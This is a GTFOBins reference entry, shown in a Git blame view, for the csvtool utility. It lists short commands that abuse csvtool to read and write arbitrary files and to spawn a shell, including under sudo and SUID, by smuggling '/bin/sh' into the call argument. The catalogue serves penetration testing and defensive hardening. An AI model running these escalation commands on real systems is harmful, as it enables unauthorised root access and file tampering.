1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/csvtool.md

24 lines
692 B
Markdown
Raw Permalink Normal View History

2021-03-17 22:50:42 +01:00
---
functions:
2021-04-18 11:17:49 +02:00
file-read:
- description: The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.
code: |
LFILE=file_to_read
csvtool trim t $LFILE
file-write:
- description: The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.
code: |
LFILE=file_to_write
TF=$(mktemp)
echo DATA > $TF
csvtool trim t $TF -o $LFILE
suid:
- code: |
LFILE=file_to_read
./csvtool trim t $LFILE
2021-03-17 22:50:42 +01:00
shell:
2021-03-17 23:55:52 +01:00
- code: csvtool call '/bin/sh;false' /etc/passwd
2021-03-17 22:50:42 +01:00
sudo:
2021-03-17 23:55:52 +01:00
- code: sudo csvtool call '/bin/sh;false' /etc/passwd
2021-03-17 22:50:42 +01:00
---